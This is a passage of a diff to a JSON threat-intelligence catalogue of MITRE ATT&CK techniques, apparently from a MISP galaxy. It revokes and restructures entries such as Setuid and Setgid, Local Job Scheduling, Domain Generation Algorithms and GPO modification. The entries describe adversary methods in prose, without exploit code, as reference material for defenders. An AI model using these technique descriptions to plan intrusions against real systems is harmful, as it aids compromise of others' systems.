manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", "meta": { "external_id": "CAPEC-439", "kill_chain": [ @@ -6559,25 +11035,21 @@ "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).", "meta": { "external_id": "T1166", - "kill_chain": [ - "mitre-attack:privilege-escalation", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1166", "http://man7.org/linux/man-pages/man2/setuid.2.html", "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" ] }, + "related": [ + { + "dest-uuid": "6831414d-bb70-42b7-8030-d4e06b2660c9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", "value": "Setuid and Setgid - T1166" }, @@ -6585,18 +11057,6 @@ "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", "meta": { "external_id": "T1168", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1168", "https://linux.die.net/man/5/crontab", @@ -6608,6 +11068,15 @@ "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/" ] }, + "related": [ + { + "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "c0a384a4-9a25-40e1-97b6-458388474bc8", "value": "Local Job Scheduling - T1168" }, @@ -6615,22 +11084,6 @@ "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", "meta": { "external_id": "T1196", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "API monitoring", - "Binary file metadata", - "DLL monitoring", - "Windows Registry", - "Windows event logs", - "Process command-line parameters", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1196", "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx", @@ -6639,6 +11092,15 @@ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" ] }, + "related": [ + { + "dest-uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "8df54627-376c-487c-a09c-7d2b5620f56e", "value": "Control Panel Items - T1196" }, @@ -6660,18 +11122,6 @@ "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "meta": { "external_id": "T1223", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1223", "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk", @@ -6681,6 +11131,15 @@ "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625" ] }, + "related": [ + { + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "d21a2069-23d5-4043-ad6d-64f6b644cb1a", "value": "Compiled HTML File - T1223" }, @@ -6882,14 +11341,16 @@ "value": "Conduct passive scanning - T1253" }, { - "description": "A technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)", + "description": "**This technique has been deprecated. Please use [Fast Flux DNS](https://attack.mitre.org/techniques/T1568/001).**\n\nA technique in which a fully qualified domain name has multiple IP addresses assigned to it which are swapped with extreme frequency, using a combination of round robin IP address and short Time-To-Live (TTL) for a DNS resource record. (Citation: HoneynetFastFlux) (Citation: MisnomerFastFlux) (Citation: MehtaFastFluxPt1) (Citation: MehtaFastFluxPt2)", "meta": { "external_id": "T1325", "kill_chain": [ "mitre-pre-attack:adversary-opsec" ], "refs": [ - "https://attack.mitre.org/techniques/T1325" + "https://attack.mitre.org/techniques/T1325", + "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref", + "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref" ] }, "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30", @@ -6995,7 +11456,7 @@ "value": "Conduct active scanning - T1254" }, { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class(Citation: Android-Build).\n\nOn iOS, techniques exist for applications to programmatically access this information(Citation: StackOverflow-iOSVersion).", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class.(Citation: Android-Build)\n\nOn iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)", "meta": { "external_id": "T1426", "kill_chain": [ @@ -7045,7 +11506,7 @@ "value": "Identify supply chains - T1246" }, { - "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008) opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178), [Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)", + "description": "Adversaries may attempt to gather information on domain trust relationships that may be used to identify lateral movement opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005), [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)", "meta": { "external_id": "T1482", "kill_chain": [ @@ -7125,34 +11586,35 @@ "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1492", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_data_sources": [ - "Application logs", - "File monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1492", "https://content.fireeye.com/apt/rpt-apt38", "https://www.justice.gov/opa/press-release/file/1092091/download" ] }, + "related": [ + { + "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "0bf78622-e8d2-41da-a857-731472d61a92", "value": "Stored Data Manipulation - T1492" }, { - "description": "Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored to include malicious code. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a web shell.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud) ", + "description": "Adversaries may implant cloud container images with malicious code to establish persistence. Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud) ", "meta": { "external_id": "T1525", "kill_chain": [ "mitre-attack:persistence" ], + "mitre_data_sources": [ + "File monitoring", + "Asset management" + ], "mitre_platforms": [ "GCP", "Azure", @@ -7169,7 +11631,7 @@ "value": "Implant Container Image - T1525" }, { - "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ depending on if it's platform-as-a-service (PaaS), infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many different services exist throughout the various cloud providers and can include continuous integration and continuous delivery (CI/CD), Lambda Functions, Azure AD, etc. Adversaries may attempt to discover information about the services enabled throughout the environment.\n\nPacu, an open source AWS exploitation framework, supports several methods for discovering cloud services.(Citation: GitHub Pacu)", + "description": "An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ from platform-as-a-service (PaaS), to infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many services exist throughout the various cloud providers and can include Continuous Integration and Continuous Delivery (CI/CD), Lambda Functions, Azure AD, etc. \n\nAdversaries may attempt to discover information about the services enabled throughout the environment. Azure tools and APIs, such as the Azure AD Graph API and Azure Resource Manager API, can enumerate resources and services, including applications, management groups, resources and policy definitions, and their relationships that are accessible by an identity.(Citation: Azure - Resource Manager API)(Citation: Azure AD Graph API)\n\nStormspotter is an open source tool for enumerating and constructing a graph for Azure resources and services, and Pacu is an open source AWS exploitation framework that supports several methods for discovering cloud services.(Citation: Azure - Stormspotter)(Citation: GitHub Pacu)", "meta": { "external_id": "T1526", "kill_chain": [ @@ -7190,6 +11652,9 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1526", + "https://docs.microsoft.com/en-us/rest/api/resources/", + "https://docs.microsoft.com/en-us/previous-versions/azure/ad/graph/howto/azure-ad-graph-api-operations-overview", + "https://github.com/Azure/Stormspotter", "https://github.com/RhinoSecurityLabs/pacu" ] }, @@ -7230,26 +11695,23 @@ "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n", "meta": { "external_id": "T1527", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:lateral-movement" - ], - "mitre_data_sources": [ - "OAuth audit logs", - "Office 365 account logs" - ], - "mitre_platforms": [ - "SaaS", - "Office 365" - ], "refs": [ "https://attack.mitre.org/techniques/T1527", - "https://auth0.com/docs/api-auth/why-use-access-tokens-to-secure-apis", + "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen", "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" ] }, + "related": [ + { + "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "27960489-4e7f-461d-a62a-f5c0cb521e4a", "value": "Application Access Token - T1527" }, @@ -7439,7 +11901,7 @@ "value": "Remotely Install Application - T1443" }, { - "description": "**This technique has been deprecated by [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411).**\n\nA malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)\n\nAdversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)\n\nAdversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the \"Back\" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)", + "description": "**This technique has been deprecated. Please use [Input Capture](https://attack.mitre.org/techniques/T1417), [Input Injection](https://attack.mitre.org/techniques/T1516), and [Input Prompt](https://attack.mitre.org/techniques/T1411) where appropriate.**\n\nA malicious app could abuse Android's accessibility features to capture sensitive data or perform other malicious actions.(Citation: Skycure-Accessibility)\n\nAdversaries may abuse accessibility features on Android to emulate a user's clicks, for example to steal money from a user's bank account.(Citation: android-trojan-steals-paypal-2fa)(Citation: banking-trojans-google-play)\n\nAdversaries may abuse accessibility features on Android devices to evade defenses by repeatedly clicking the \"Back\" button when a targeted app manager or mobile security app is launched, or when strings suggesting uninstallation are detected in the foreground. This effectively prevents the malicious application from being uninstalled.(Citation: android-trojan-steals-paypal-2fa)", "meta": { "external_id": "T1453", "kill_chain": [ @@ -7537,21 +11999,6 @@ "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)", "meta": { "external_id": "T1483", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_data_sources": [ - "Process use of network", - "Packet capture", - "Network device logs", - "Netflow/Enclave netflow", - "DNS records" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1483", "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf", @@ -7566,6 +12013,15 @@ "https://arxiv.org/pdf/1611.00791.pdf" ] }, + "related": [ + { + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "54456690-84de-4538-9101-643e26437e09", "value": "Domain Generation Algorithms - T1483" }, @@ -7593,52 +12049,78 @@ "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1493", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_data_sources": [ - "Packet capture", - "Network protocol analysis" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1493", "https://content.fireeye.com/apt/rpt-apt38", "https://www.justice.gov/opa/press-release/file/1092091/download" ] }, + "related": [ + { + "dest-uuid": "d0613359-5781-4fd2-b5be-c269270be1f6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "cc1e737c-236c-4e3b-83ba-32039a626ef8", "value": "Transmitted Data Manipulation - T1493" }, + { + "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ", + "meta": { + "external_id": "T1553", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata", + "File monitoring", + "Process command-line parameters", + "Process monitoring", + "API monitoring", + "Application logs", + "DLL monitoring", + "Loaded DLLs", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1553", + "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf", + "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", + "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" + ] + }, + "uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", + "value": "Subvert Trust Controls - T1553" + }, { "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be easily facilitated using restoration from VM or data storage snapshots through the cloud management dashboard. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the latter types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", "meta": { "external_id": "T1536", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Azure OS logs", - "AWS CloudTrail logs", - "Azure activity logs", - "Stackdriver logs", - "AWS OS logs" - ], - "mitre_platforms": [ - "AWS", - "GCP", - "Azure" - ], "refs": [ "https://attack.mitre.org/techniques/T1536", "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/", "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots" ] }, + "related": [ + { + "dest-uuid": "0708ae90-d0eb-4938-9a76-d0fc94f6eec1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "3b4121aa-fc8b-40c8-ac4f-afcb5838b72c", "value": "Revert Cloud Instance - T1536" }, @@ -7713,6 +12195,24 @@ "uuid": "b182f29c-2505-4b32-a000-0440ef189f59", "value": "Spearphishing for Information - T1397" }, + { + "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or onto the victim’s device.", + "meta": { + "external_id": "T1544", + "kill_chain": [ + "mitre-mobile-attack:command-and-control" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1544" + ] + }, + "uuid": "2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "value": "Remote File Copy - T1544" + }, { "description": "An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).\n\nAn SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.\n\nAs described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.\n\nPlatforms: Android, iOS", "meta": { @@ -7765,11 +12265,31 @@ "value": "Delete Device Data - T1447" }, { - "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. \n\nGroup policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Disabling Security Tools](https://attack.mitre.org/techniques/T1089), [Remote File Copy](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035) and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) Publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to 